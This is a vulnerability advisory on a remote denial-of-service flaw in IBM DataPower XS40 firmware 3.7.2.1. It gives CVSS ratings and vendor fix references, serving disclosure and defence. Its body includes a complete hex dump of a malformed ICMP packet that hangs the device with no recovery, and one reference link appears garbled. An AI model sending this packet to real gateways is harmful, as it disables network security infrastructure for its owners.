IBM Datapower XS40 Denial of Service

2010-05-02 / 2010-05-03
Credit: Erik
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

It appears it is possible to disable the IBM DataPower XS40 Security Gateway device by sending a malformed packet to the network interface. The device will hang up itself without being able to recover from it (no auto-reboot). Tested vulnerable firmware is 3.7.2.1 Issue fixed according to vendor in 3.8.0 and better To trigger the effect it is necessary to have IP.destination 0.0.0.0 in the packet, so routing can only take place on the same subnet by inputting the MAC-adress of the targeted device. Like this ICMP-packet, where 00.14.5e.a1.b2.c3 is the target MAC-adress; 00 14 5e a1 b2 c3 00 11 25 82 7b 02 08 00 45 00 00 50 4b 94 00 00 ff 01 5e f1 ac 12 65 15 00 00 00 00 03 01 06 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 20 ed 58 00 00 ff 11 a9 d4 ac 12 65 15 ac 12 65 65 01 00 00 00 29 00 cd 00 00 08 00 00 After sending this (sometimes it's necessary to sent it multiple times), the device will hang and won't recover by itself. Vendor's comment on this: http://www-01.ibm.com/support/docview.wss?rs=2362&uid=swg1IC61364

Referencje:

http://www.securityfocus.com/bid/37952
http://www.securityfocus.com/archive/1/archive/1/509163/100/0/threaded
http://www-01.ibm.com/support/docview.wss?uid=swg24024774
http://www-01.ibm.com/support/docview.wss?uid=swg24024773
http://www-01.ibm.com/support/docview.wss?uid=swg24024772
http://www-01.ibm.com/support/docview.wss?uid=swg24024771
http://www-01.ibm.com/sup2000port/docview.wss?uid=swg24024770
http://www-01.ibm.com/support/docview.wss?uid=swg1IC61364


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